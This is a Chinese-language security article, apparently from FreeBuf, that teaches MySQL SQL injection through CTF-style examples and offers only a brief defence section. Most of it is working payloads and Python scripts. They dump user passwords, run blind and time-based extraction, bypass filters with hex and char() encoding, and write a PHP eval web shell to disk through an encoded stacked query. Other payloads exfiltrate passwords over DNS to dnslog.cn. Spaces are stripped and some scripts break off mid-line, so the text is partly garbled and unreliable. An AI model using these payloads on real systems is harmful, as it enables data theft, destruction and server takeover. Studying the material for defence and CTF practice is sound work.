FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序把安全装进口袋
应用为了和数据库进行沟通完成必要的管理和存储工作,必须和数据库保留一种接口。目前的数据库一般都是提供api以支持管理,应用使用底层开发语言如Php,Java,asp,Python与这些api进行通讯。对于数据库的操作,目前普遍使用一种SQL语言(StructuredQueryLanguage语言,SQL语言的功能包括增删查改等,是一个综合的、通用的关系数据库语言,同时又是一种高度非过程化的语言,只要求用户指出做什么而不需要指出怎么做),SQL作为字符串通过API传入给数据库,数据库将查询的结果返回,数据库自身是无法分辨传入的SQL是合法的还是不合法的,它完全信任传入的数据,**如果传入的SQL语句被恶意用户控制或者篡改,将导致数据库以当前调用者的身份执行预期之外的命令并且返回结果,导致安全问题。**那么恶意用户如何才能控制传入的SQL语句呢?我们知道,传入的SQL是以字符串的方式传入的,这个字符串由应用生成,那么如果应用生成这个字符串的方式不对就可能导致问题,譬如考虑如下的功能:
$sql="select*frommemberswhereuserid=".$_GET[userid];$sb->query($sql);这段代码的逻辑是根据用户请求的Userid进入数据库查询出不同的用户并且返回给用户,可以看到最终传入的字符串有一部分是根据用户的输入来控制的,一旦用户提交poc.phpuserid=1or1=1最终进入程序之后传入数据库的逻辑将是
$sb->query("select*frommemberswhereuserid=1or1=1");那么就会出现违背设计者初衷而非法查询出当前表所有数据的结果,因此用户完全可以根据传入的内容来控制整个SQL的逻辑,实现间接控制和管理数据库的目的,这种命令(SQL语句)和数据(用户提交的查询)不分开的实现方式导致了安全漏洞的产生。由于不同的开发语言可能对api进行了不同的封装,并且各种语言内部对数据的校验会有不同的要求,譬如java和python属于变量强类型并且各种开发框架的流行导致出现SQL注射的几率较小,php属于弱类型不会对数据进行强制的验证加上过程化的程序编写思路导致出现注射的几率会较大。
通过典型的SQL注入漏洞,黑客是可以根据所能控制的内容在SQL语句的上下文导致不同的结果的,这种不同主要体现在不同的数据库特性上和细节上。同时,后端的数据库的不同导致黑客能利用SQL语句进行的操作也并不相同,因为很多的数据库在标准的SQL之外也会实现一些自身比较特别的功能和扩展,常见的有Sqlserver的多语句查询,Mysql的高权限可以读写系统文件,Oracle经常出现的一些系统包提权漏洞。即使一些SQL注入本身无法对数据本身进行一些高级别的危害,譬如一些数据库里可能没有存储私密信息,利用SQL查询的结果一样可能对应用造成巨大的灾难,因为应用可能将从数据库里提取的信息做一些其他的比较高危险的动作,譬如进行文件读写,这种本身无价值的数据和查询一旦被应用本身赋予较高的意义的话,可能一样导致很高的危害。评估一个SQL注射的危害需要取决于注射点发生的SQL语句的上下文,SQL语句在应用的上下文,应用在数据库的上下文,综合考虑这些因素来评估一个SQL注射的影响,在无上述利用结果的情况下,通过web应用向数据库传递一些资源要求极高的查询将导致数据库的拒绝服务,这将是黑客可能能进行的最后的利用。
一般防范方法:
$SqlTemplate="select*frommemberswhereuserid={userid|int}";$sb->PreSql($SqlTemplate,$_GET['userid']);模板里有关数据及数据自身意义的描述,PreSql方法将实现将模板和数据安全的转换为SQL语句的功能,以保障最终的安全的实现。
.5.0以下是多用户单操作
·5.0以上是多用户多操做
在MySQL5.0以下,没有information_schema这个数据库,无法列表名,列名等,只能暴力猜解,或者采用后面会提到的无列名注入之类的方式加以利用。
在MySQL5.0以上,MySQL中默认添加了一个名为information_schema的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件.
UNION可以将前后两个查询语句的结果拼接到一起,但是会自动去重。
UNIONALL功能相同,但是会显示所有数据,不会去重。
但是是一个对库表等进行连接的语句,我们在后续会提到利用它来进行无列名注入。
1.判断是否存在注入,注入的类型(数字,字符等),猜测后端语句闭合方式,初步在心里形成简单绕过思路
id=1'id=1"id=1')id=1")id=1'or1#id=1'or0#id=1'or1=1#id=1'and1=2#id=1'andsleep(5)#id=1'and1=2or'id=1\2.用二分法等加上order/groupby语句拼接数字,根据页面判断,确定字段数。
或者在上述被ban的情况下,采用unionselect联合查询,在其后不断加数字,直到不报错也可确定字段数(联合查询前后字段数不一致会导致报错)
3.确定回显字段位置,采用特异性原理,用不同的记号如数字等标记不同字段位置,根据回显情况可确定可利用位置。
注:
·页面可能进行的是单行输出,从而导致我们标记的显示位无法进行回显,此时,只需要使前方原回显位置查询结果为空即可,如置零,置负,置极大数皆可。
4.找到回显字段后即可开始查询
1.获取当前数据库名-1'unionselect1,2,database()--+2.获取当前数据库下的表名-1'unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()--+-1'unionselect1,(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=database()),3--+3.获取表中字段名-1'unionselect1,2,group_concat(column_name)frominformation_schema.columnswheretable_name='users'--+-1'unionselect1,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_name='users'),3--+4.获取数据-1'unionselect1,2,group_concat(id,0x7e,username,0x7e,password)fromusers--+-1'unionselect1,(selectgroup_concat(id,0x7e,username,0x7e,password)fromusers),3--+确定联合查询的字段数->确定联合查询回显位置->爆库->爆表->爆字段->爆数据即是我们的一般联合查询sql注入数据库的流程。
SQLInjection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取sql语句的执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
首先通过页面对于永真条件or1=1与永假条件and1=2的返回内容是否存在差异进行判断是否可以进行布尔盲注。
如:select*fromuserswhereusername=$username,其作用设定为判断用户名是否存在。
通常仅返回存在/不存在,两个结果。
这时候我们就不能使用联合查询法注入,因为页面不显示SQL语句返回的内容,只能使用盲注法/报错注入法来注出数据。
我们在将语句注入成:select*fromuserswhereusername=$usernameor(condition)
若后边拼接的条件为真的话,那么整条语句的where区域将变成永真条件。
那么,即使我们在$username处输入的用户名为一个铁定不存在的用户名,那么返回的结果也仍然为存在。
利用这一特性,我们的condition为:length(database())>8即可用于判断数据库名长度
除此之外,还可:ascii(substr(database(),1,1))<130用二分法快速获取数据(逐字判断)
payload如下:
select*fromuserswhereusername=nouserorlength(database())>8select*fromuserswhereusername=nouserorascii(substr(database(),1,1))<130还用到了各种运算符,<,>,=当然不必多提,但是在下面POST的方式中用到了异或符号^,这里其实是一种异或注入的方法,当我们在尝试SQL注入时,发现union,and被完全过滤掉了,就可以考虑使用异或注入。
异或运算规则:1^1=00^0=00^1=11^1^1=11^1^0=0``0^0^0=0构造payload:'^ascii(mid(database(),1,1)=98)^0
注意这里会多加一个^0或1是因为在盲注的时候可能出现了语法错误也无法判断,而改变这里的0或1,如果返回的结果是不同的,那就可以证明语法是没有问题的.
然后通过python脚本等工具进行自动化注入(手工操作,emmmmm...工作量有点多了,hahahha)
下面给出常用的布尔盲注脚本。
首先,我们先分析脚本的思路,脚本利用了request库来发送请求,同时定义了一个flag字符串用来储存flag。然后写了一个for循环,封顶跑250遍,然后定义了low和high,这里根据的是ASCII码中的打印字符,定义了中间值,因为一会儿要使用的是二分法,当low id=0'^1--+id=0'^0--+id=0'^(ascii(substr(database(),1,1))>1)--+id=0'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1))={1})--+利用orderby的盲注如果注入的时候没有报错,我们又不知道列名,在无列名注入,即通过使用union语句来对未知列名进行重命名的形式绕过,或通过使用joinusing()报错注入出列名被ban之后,就只能用orderby盲注了。当然,在过滤了括号的时候,orderby盲注也是个很好的办法。 orderbyn的主要作用就是让查询出来的数据根据第n列进行排序(默认升序),我们可以使用orderby排序比较字符的ascii码大小,从第位开始比较,第位相同时比较下位。 利用方式参见如下测试: 这种方法运用的情况比较极端一些,如布尔盲注时,字符截取/比较限制很严格。例子: select*fromuserswhere(select'r'unionselectuser()orderby1limit1)='r'实际上此处是利用了orderby语句的排序功能来进行判断的。若我们想要查询的数据开头的首字母在字母表的位值比我们判断的值要靠后,则limit语句将不会让其输出,那么整个条件将会成立,否之不成立。 利用这种方法可以做到不需要使用like、rlike、regexp等匹配语句以及字符操作函数。 再举个例子: selectusername,flag,passwordfromuserswhereusername='$username;'页面回显的字段为:username与password,如何在union与flag两单词被拦截、无报错信息返回的情况下获取到用户名为admin的flag值? 使用orderby可轻松盲注。payload: selectusername,flag,passwordfromuserswhereusername='admin'unionselect1,'a',3orderby2与之前的原理相同,通过判断前后两个select语句返回的数据前后顺序来进行盲注数据 参考脚本: 在上述语句中,我们拼接语句,变成: select*fromuserswhereusername=$username(and|or)if(length(database())>8,sleep(5),1)如果数据库名的长度大于8,那么if条件将执行sleep(5),那么此条语句将进行延迟3秒的操作。 注:无if和case的解决办法 假设if和case被ban了,又想要根据condition的真假来决定是否触发sleep(),可以将condition整合进sleep()中,做乘法即可: sleep(5*(condition))如果condition为真则返回1,5*(condition)即5*1为5,延时5秒;如果condition为假则返回0,5*(condition)即5*0为0,延时0秒。 写脚本的技巧 很多人喜欢这样写脚本: 正确的写延时盲注脚本的方法应该是: try:requests.get(url,timeout=3)except:print("延时发生了,注入成功")我们利用timeout=3设置了一个3秒的超时,如果超时会抛出Exception。这样写代码的好处是:就算它要延时一年,我们也就等他3秒钟,然后就开始下一轮循环了,不用陪着MySQL延时,大大提高了脚本的效率。 下面给出脚本 importrequestsimportjsonimporttimeurl='xxxxxxxxxxxxxxx/id='flag=''foriinrange(1,250):low=32high=128mid=(low+high)//2while(low mysql>SELECTcount(*)FROMinformation_schema.columnsA,information_schema.columnsB,information_schema.tablesC;+-----------+|count(*)|+-----------+|113101560|+-----------+1rowinset(2.07sec)mysql>select*fromctf_testwhereuser='1'and1=1and(SELECTcount(*)FROMinformation_schema.columnsA,information_schema.columnsB,information_schema.tablesC);+------+-----+|user|pwd|+------+-----+|1|0|+------+-----+1rowinset(2.08sec)得到的结果都会有延迟。这里选用information_schema.columns表的原因是其内部数据较多,到时候可以根据实际情况调换。 那么我们就可以使用这个原理,并配合if()语句进行延时注入了,payload与之前相似,类似如下: admin'andif(ascii(substr((selectdatabase()),1,1))>1,(SELECTcount(*)FROMinformation_schema.columnsA,information_schema.columnsB,information_schema.tablesC),0)#[OUTPUT:]HTTP/1.1504GatewayTime-out#有很长的延时,以至于Time-out了给出一个笛卡尔积延时注入脚本: 用法:benchmark(重复次数,执行的函数) 例如:将selectdatabase()执行100000000次,显示耗时0.52sec 结合上面三个特性,我们可以利用benchmark函数判断我们查找的信息是否存在(表名、列名、字段名等),可以从是否有延时来验证数据库中是否有我们要查找的信息,效果上约等于sleep()函数,要是再配合上暴力破解那岂不是美滋滋。 再想一下,联合注入也是将两条语句合并在一起,两者之间有什么区别么? 区别就在于union或者unionall执行的语句类型是有限制的,可以用来执行的是查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1;DELETEFROMproducts;服务器端生成的sql语句为:select*fromproductswhereid=1;DELETEFROMproducts;当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。 但是,这种堆叠注入也是有局限性的。堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。 虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在有的Web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生的错误或者执行结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,建议配合使用union联合注入。 一般存在堆叠注入的都是由于使用mysqli_multi_query()函数执行的sql语句,该函数可以执行一个或多个针对数据库的查询,多个查询用分号进行分隔。 #读取数据/id=1';showdatabases;--+/id=1';showtables;--+/id=1';showtablesfromdatabase_name;--+/id=1';showcolumnsfromtable_name;--+#读取文件/id=1';selectload_file('/flag');--+#修改数据表的结构/id=1';insertintousers(id,username,password)values(20,'whoami','657260');--+#插入数据/id=1';updateuserssetpassword='657260'whereid>0;--+#更改数据/id=1';deletefromuserswhereid=20;--+#删除数据/id=1';createtablefake_userslikeusers;--+#创建一个新表id=1';renametableold_tabletonew_table;--+#更改表名id=1';altertableuserschangeold_columnnew_columnvarchar(100);--+#更改字段名PHP中堆叠注入的支持情况: 以buu例题,强网杯2019(随便注)为例: (1)在遇到堆叠注入时,如果select、rename、alter和handler等语句都被过滤的话,我们可以用MySql预处理语句配合concat拼接来执行sql语句拿flag。 预处理语句使用例子: PREPARExfrom'[mysqlsequece]';//预定义SQL语句EXECUTEx;//执行预定义SQL语句(DEALLOCATE||DROP)PREPAREx;//删除预定义SQL语句预定义语句也可以通过变量进行传递: SET@tn='hahaha';//存储表名SET@sql=concat('select*from',@tn);//存储SQL语句PREPARExfrom@sql;//预定义SQL语句EXECUTEx;//执行预定义SQL语句(DEALLOCATE||DROP)x;//删除预定义SQL语句(2)MySql预处理配合十六进制绕过关键字 基本原理如下: mysql>selecthex('showdatabases');+------------------------------+|hex('showdatabases;')|+------------------------------+|73686F7720646174616261736573|+------------------------------+1rowinset(0.01sec)mysql>set@b=0x73686F7720646174616261736573;QueryOK,0rowsaffected(0.01sec)mysql>preparetestfrom@b;QueryOK,0rowsaffected(0.02sec)Statementpreparedmysql>executetest;+--------------------+|Database|+--------------------+|information_schema||challenges||mysql||performance_schema||security||test|+--------------------+6rowsinset(0.02sec)即payload类似于 1';sEt@a=0x73686F7720646174616261736573;PRepareaaafrom@a;executeaaa;#(3)MySql预处理配合字符串拼接绕过关键字 原理就是借助char()函数将ascii码转化为字符然后再使用concat()函数将字符连接起来,有了前面的基础这里应该很好理解了: set@sql=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(39),char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(119),char(104),char(111),char(97),char(109),char(105),char(93),char(41),char(59),char(63),char(62),char(39),char(32),char(105),char(110),char(116),char(111),char(32),char(111),char(117),char(116),char(102),char(105),char(108),char(101),char(32),char(39),char(47),char(118),char(97),char(114),char(47),char(119),char(119),char(119),char(47),char(104),char(116),char(109),char(108),char(47),char(102),char(97),char(118),char(105),char(99),char(111),char(110),char(47),char(115),char(104),char(101),char(108),char(108),char(46),char(112),char(104),char(112),char(39),char(59));prepares1from@sql;executes1;也可以不用concat函数,直接用char函数也具有连接功能: set@sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,119,104,111,97,109,105,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepares1from@sql;executes1;而本题可利用char()函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。 char(115,101,108,101,99,116)<----->'select' payload1:不使用变量 1';PREPARExfromconcat(char(115,101,108,101,99,116),'*from`1919810931114514`');EXECUTEx;#payload2:使用变量 1';SET@sqli=concat(char(115,101,108,101,99,116),'*from`1919810931114514`');PREPARExfrom@sqli;EXECUTEx;#payload3:只使用contact(),不使用char() 1';PREPARExfromconcat('s','elect','*from`1919810931114514`');EXECUTEx;#直接输入这三个payload的任何一个都能获得flag 注:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符 eg.mysql>SELECT*FROMtableWHEREid='123'; 1919810931114514必须用反单引号括起来(但是words不需要,应该是和数据类型有关) 1';renametablewordstowords1;renametableflag_heretowords;##rename命令用于修改表名。#rename命令格式:renametable原表名to新表名;rename/alter修改表名与字段名1';renametablewordstowords1;renametableflag_heretowords;altertablewordschangeflagidvarchar(100);#rename命令用于修改表名。rename命令格式:renametable原表名to新表名;3.利用HANDLER语句如果rename、alter被过滤了,我们可以借助HANDLER语句来bypass。在不更改表名的情况下读取另一个表中的数据。 importrequestsimportjsonimporttimedefmain():url='''xxxxxxxx/index.phpr=Login/Login'''#注入payloadpayloads="asd';set@a=0x{0};preparectftestfrom@a;executectftest---"flag=''foriinrange(1,30):#查询payloadpayload="selectif(ascii(substr((selectflagfromflag),{0},1))={1},sleep(3),1)"forjinrange(0,128):#将构造好的payload进行16进制转码和json转码datas={'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}data=json.dumps(datas)times=time.time()res=requests.post(url=url,data=data)iftime.time()-times>=3:flag=flag+chr(j)print(flag)breakdefstr_to_hex(s):return''.join([hex(ord(c)).replace('0x','')forcins])if__name__=='__main__':main()这里还涉及到了一些json的内容,json.dumps()是把python对象转换成json对象的一个过程,生成的是字符串。web服务中传输信息的一种方式。 insertintousers(id,username,password,email)values(1,'0'+hex(database())+'0','0'+hex(hex(user()))+'0','123@qq.com')insertintousers(id,username,password,email)values(1,'0'+substr((selecthex(hex(select*fromflag))),1,10)+'0','123456','123@qq.com')需要对后端的SQL语句有一个猜测 这里还有一个点,我们不能直接将要查询的函数插入,因为如果直接插入的话,'database()'会被识别为字符串,我们需要想办法闭合前后单引号的同时将我们的查询插入,就出现了'0'+database()+'0'这样的构造,但是这个的回显是0,但是在我们进行了hex编码之后就能正常的查询了,也就是上面出现的'0'+hex(database())+'0' 首先找到插入点,通常情况下是一个注册页面,register.php这种,先简单的查看一下/注册后有没有什么注册时写入的信息在之后又回显的,若有回显猜测为二次查询。 insertintousers(id,username,password,email)values(1,'0'+hex(database())+'0','0'+hex(hex(user()))+'0','123@qq.com')insertintousers(id,username,password,email)values(1,'0'+substr((selecthex(hex(select*fromflag))),1,10)+'0','123456','123@qq.com')构造类似于values中的参数进行注册等操作,然后进行查看,将hex编码解码即可,可能会有其他的限制,比如超过10位就会转化为科学计数法,我们就需要使用fromfor语句来进行一个限制,可以编写脚本。 importrequestsimportstringimportreasrimporttimech=string.ascii_lowercase+string.digits+'-}'+'{'re=requests.session()url='xxxxxxxxxxxxx'defregister(email,username):url1=url+'register.php'data=dict(email=email,username=username,password='123')html=re.post(url1,data=data)html.encoding='utf-8'returnhtmldeflogin(email):url2=url+'login.php'data=dict(email=email,password='123')html=re.post(url2,data=data)html.encoding='utf-8'returnhtmlhex_flag=''forjinrange(0,17):payload="0'+(selectsubstr(hex(hex((select*fromflag)))from{}for{}))+'0".format(int(j)*10+1,10)email='{}@qq.com'.format(str(j)+'14')html=register(email,payload)#printhtml.texthtml=login(email)try:res=r.findall(r' 函数语法:exp(int) 适用版本:5.5.5~5.5.49 该函数将会返回e的x次方结果。 我们知道,乘方到后边每增加1,其结果都将跨度极大(指数爆炸),而mysql能记录的double数值范围有限,一旦结果超过范围,则该函数报错。 我们的payload为:exp(~(select*from(selectuser())a)) 其中,~符号为运算符,意思为一元字符反转,通常将字符串经过处理后变成大整数,再放到exp函数内,得到的结果将超过mysql的double数组范围,从而报错输出。至于为什么需要用两层子查询 exp()函数套用两层的子查询的原因:1、先查询selectuser()这里面的语句,将这里面查询出来的数据作为一个结果集取名为a2、再select*froma查询a,将结果集a全部查询出来;这里必须使用嵌套,因为不使用嵌套不加select*from无法大整数溢出。除了exp()之外,还有类似pow()之类的相似函数同样是可利用的,他们的原理相同。 函数语法:updatexml(XML_document,XPath_string,new_value); 适用版本:5.1.5+ 我们通常在第二个xpath参数填写我们要查询的内容。 与exp()不同,updatexml是由于参数的格式不正确而产生的错误,同样也会返回参数的信息。 payload:updatexml(1,concat(0x7e,(selectuser()),0x7e),1) 前后添加~使其不符合xpath格式从而报错。 函数语法:EXTRACTVALUE(XML_document,XPath_string); 适用版本:5.1.5+ 利用原理与updatexml函数相同 payload:and(extractvalue(1,concat(0x7e,(selectuser()),0x7e))) 虚拟表报错原理:简单来说,是由于where条件每执行一次,rand函数就会执行一次,如果在由于在统计数据时判断依据不能动态改变,故rand()不能后接在order/groupby上。 举一个例子:假设user表有三条数据,我们通过:select*fromusergroupbyusername来通过其中的username字段进行分组。 此过程会先建立一个虚拟表,存在两个字段:key,count 其中我们通过username来判断,其在此处是字段,首先先取第一行的数据:username=test&password=test username为test出现一次,则现在虚表内查询是否存在test,若存在,则count+1,若不存在,则添加test,其count为1。 对于floor(rand(0)*2),其中rand()函数,会生成0~1之间随机一个小数、floor()取整数部分、0是随机数种子、乘2是为了让大于0.5的小数通过floor函数得1,否则永远为0。 若表中有三行数据:我们通过select*fromusergroupbyfloor(rand(0)*2)进行排序的话。 注意,由于rand(0)的随机因子是被固定的,故其产生的随机数也被固定了,顺序为:011011… 首先groupby需要执行的话,需要确定分组因子,故floor(rand(0)*2)被执行一次,得到的结果为0,接着在虚表内检索0,发现虚表没有键值为0的记录,故添加上,在进行添加时:floor(rand(0)*2)第二次被执行,得到结果1,故虚表插入的内容为key=1&count=1。 第二次执行groupby时:floor(rand(0)*2)先被运行一次,也就是第三次运行。得到结果1,查询虚表发现数据存在,因而直接让虚表内的key=1的count加一即可,floor(..)只运行了一次。 第三次执行groupby时,floor被执行第四次,得到结果0,查询虚表不存在。再插入虚表时,floor(…)被执行第五次,得到结果1,故此时虚表将插入的值为key=1&count=1,注意,此时虚表已有一条记录为:key=1&count=2,并且字段key为主键,具有不可重复性,故虚表在尝试插入时将产生错误。 payload用法: unionselectcount(*),2,concat(':',(selectdatabase()),':',floor(rand()*2))asafrominformation_schema.tablesgroupbya ')orST_LatFromGeoHash((select*from(select*from(select(select(concat(0x7e,(SELECTGROUP_CONCAT(user,':',password)frommanage),0x7e))))a)b))--+ST.LongFromGeoHash同上嵌套查询 #获取数据库版本信息')orST_PointFromGeoHash(version(),1)--+')orST_PointFromGeoHash((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1)--+')orST_PointFromGeoHash((selectcolumn_namefrominformation_schema.columnswheretable_name='manage'limit0,1),1)--+')orST_PointFromGeoHash((concat(0x23,(selectgroup_concat(user,':',`password`)frommanage),0x23)),1)--+不存在的函数随便适用一颗不存在的函数,可能会得到当前所在的数据库名称。 当mysql数据库的某些边界数值进行数值运算时,会报错的原理。 如~0得到的结果:18446744073709551615 若此数参与运算,则很容易会错误。 payload:select!(select*from(selectuser())a)-~0; 仅可取数据库版本信息 payload:select*from(selectname_const(version(),0x1),name_const(version(),0x1))a 适用版本:8.0.x 参数格式不正确。 GTID的表现形式->GTID=source_id:transaction_id其中source_id一般为数据库的uuid,transaction_id为事务ID,从1开始3E11FA47-71CA-11E1-9E33-C80AA9429562:23如上面的GTID可以看出该事务为UUID为3E11FA47-71CA-11E1-9E33-C80AA9429562的数据库的23号事务GTID集合(一组全局事务标识符):GTID集合为多个单GTID和一个范围内GTID的集合,他主要用于如下地方 格式如下: 3E11FA47-71CA-11E1-9E33-C80AA9429562:1-5函数详解 GTID_SUBSET()和GTID_SUBTRACT()函数,我们知道他的输入值是GTIDset,当输入有误时,就会报错 GTID_SUBSET(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:23’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’)GTID_SUBTRACT(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:20-25’)注入过程 GTID_SUBSET函数 ')orgtid_subset(concat(0x7e,(SELECTGROUP_CONCAT(user,':',password)frommanage),0x7e),1)--+GTID_SUBTRACT ')orgtid_subtract(concat(0x7e,(SELECTGROUP_CONCAT(user,':',password)frommanage),0x7e),1)--+mysql>selectgtid_subset(user(),1);mysql>selectgtid_subset(hex(substr((select*fromuserslimit1,1),1,1)),1);mysql>selectgtid_subtract((select*from(selectuser())a),1);报错函数速查表注:默认MYSQL_ERRMSG_SIZE=512 在LIKE子句中,百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_通配符允许匹配任何单个字符。匹配成功则返回1,反之返回0,可用于sql盲注。 可用length()函数,也可用_,如: /id='ordatabase()like'________'--+//回显正常/id='ordatabase()like's%'--+/id='or(selectdatabase())like's%'--+或者:/id='ordatabase()like's_______'--+/id='or(selectdatabase())like's_______'--+如上图所示,回显正常,说明数据库名的第一个字符是s。 综上所述,很明显和普通的布尔盲注差不多,于是写个GET的二分法盲注脚本: /id='or(length(database()))regexp8--+//回显正常/id='ordatabase()regexp'^s'--+//回显正常/id='ordatabase()regexp'se'--+//回显正常,不适用^和$进行匹配也可以/id='ordatabase()regexp'^sa'--+//报错/id='ordatabase()regexp'y$'--+//回显正常脚本: importrequestsimportstring#strs=string.printablestrs=string.ascii_letters+string.digits+'_'url="xxxxxxxxxxxxxxx/id="payload="'or(selectdatabase())regexp'^{}'--+"if__name__=="__main__":name=''foriinrange(1,40):char=''forjinstrs:payloads=payload.format(name+j)urls=url+payloadsr=requests.get(urls)if"Youarein"inr.text:name+=jprint(j,end='')char=jbreakifchar=='#':break宽字节注入前置知识 magic_quotes_gpc(魔术引号开关) magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。 单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线,我们输入的东西如果不能闭合,那我们的输入就不会当作代码执行,就无法产生SQL注入。 addslashes()函数 返回在如下预定义字符之前添加反斜杠之后的字符串 预定义字符:单引号('),双引号("),反斜杠(\),NULL宽字节概念: 成因与示例 前面讲到了GBK编码格式。GBK是双字符编码,那么为什么他们会和渗透测试发送了“巧遇”呢? 宽字节SQL注入主要是源于程序员设置数据库编码为非英文编码那么就有可能产生宽字节注入。 例如说MySql的编码设置为了SETNAMES'gbk'或是SETcharacter_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞。 宽字节SQL注入的根本原因: 宽字节SQL注入就是PHP发送请求到MySql时使用了语句 SETNAMES'gbk'或是SETcharacter_set_client=gbk进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。 magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会在前面加转义字符'',来做一定的过滤 为了绕过magic_quotes_gpc的,于是乎我们开始导入宽字节的概念 我们发现\的编码是%5c,然后我们会想到传参一个字符想办法凑成一个gbk字符,例如:‘運’字是%df%5c SELECT*FROMusersWHEREid='1\''LIMIT0,1这条语句因为\使我们无法去注入,那么我们是不是可以用%df吃到%5c,因为如果用GBK编码的话这个就是運,然后成功绕过 SELECT*FROMusersWHEREid='1\'#'LIMIT0,1还可以使用反斜杠\逃逸Sql语句如果没有过滤反斜杠的话,我们可以使用反斜杠将后面的引号转义,从而逃逸后面的Sql语句。 假设sql语句为: selectusername,passwordfromuserswhereusername='$username'andpassword='$password';假设输入的用户名是admin\,密码输入的是or1#整个SQL语句变成了 selectusername,passwordfromuserswhereusername='admin\'andpassword='or1#'由于单引号被转义,andpassword=这部分都成了username的一部分,即 username='admin\'andpassword='这样or1就逃逸出来了,由此可控,可作为注入点了。 通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。 在无法直接利用的情况下,但是可以通过DNS请求,通过DNSlog,把数据外带,用DNS解析记录查看。 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回NULL。注:这个功能不是默认开启的,需要在mysql配置文件加一句secure_file_priv= UNC路径通用命名规则,也称通用命名规范、通用命名约定,类似\softer这样的形式的网络路径。在Windows中,路径以\\开头的路径在Windows中被定义为UNC路径,相当于网络硬盘一样的存在,所以我们填写域名的话,Windows会先进行DNS查询。但是对于Linux来说,并没有这一标准,所以DNSLOG在Linux环境不适用。注:payload里的四个\\\\中的两个\是用来进行转义处理的。UNC路径的格式:\server\sharename\directory\filename 等同于SELECTLOAD_FILE('//库名.1806dl.dnslog.cn/abc' 去访问库名.1806dl.dnslog.cn的服务器下的共享文件夹abc。 然后1806dl.dnslog.cn的子域名的解析都是在某台服务器,然后他记录下来了有人请求访问了error.1806dl.dnslog.cn,然后在DnsLog这个平台上面显示出来了 payload示例: id=1andload_file(concat('\\\\',database(),'.htleyd.dnslog.cn\abc'))id=1andload_file(concat('\\\\',(selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),'.htleyd.dnslog.cn\abc'))id=1andload_file(concat('\\\\',(selectcolumn_namefrominformation_schema.columnswheretable_name=’admin’andtable_schema=database()limit2,1),'.htleyd.dnslog.cn\abc'))id=1andload_file(concat('\\\\',(selectpasswordfromadminlimit0,1),'.htleyd.dnslog.cn/abc'))基于约束的sql注入攻击最近,我遇到了一个有趣的代码片段,开发者尝试各种方法来确保数据库的安全访问。当新用户尝试注册时,将运行以下代码: 按理说应该不会出错了啊? 在谈论这种攻击手法之前,首先我们需要了解几个关键知识点。 SELECT*FROMusersWHEREusername='vampire';现在,让我们建立一个测试数据库来演示具体攻击过程。 vampire@linux:~$mysql-uroot-pmysql>CREATEDATABASEtesting;QueryOK,1rowaffected(0.03sec)mysql>USEtesting;Databasechanged接着创建一个数据表users,其包含username和password列,并且字段的最大长度限制为25个字符。然后,我将向username字段插入“vampire”,向password字段插入“my_password”。 mysql>CREATETABLEusers(->usernamevarchar(25),->passwordvarchar(25)->);QueryOK,0rowsaffected(0.09sec)mysql>INSERTINTOusers->VALUES('vampire','my_password');QueryOK,1rowaffected(0.11sec)mysql>SELECT*FROMusers;+----------+-------------+|username|password|+----------+-------------+|vampire|my_password|+----------+-------------+1rowinset(0.00sec)为了展示尾部空白字符的修剪情况,我们可以键入下列命令 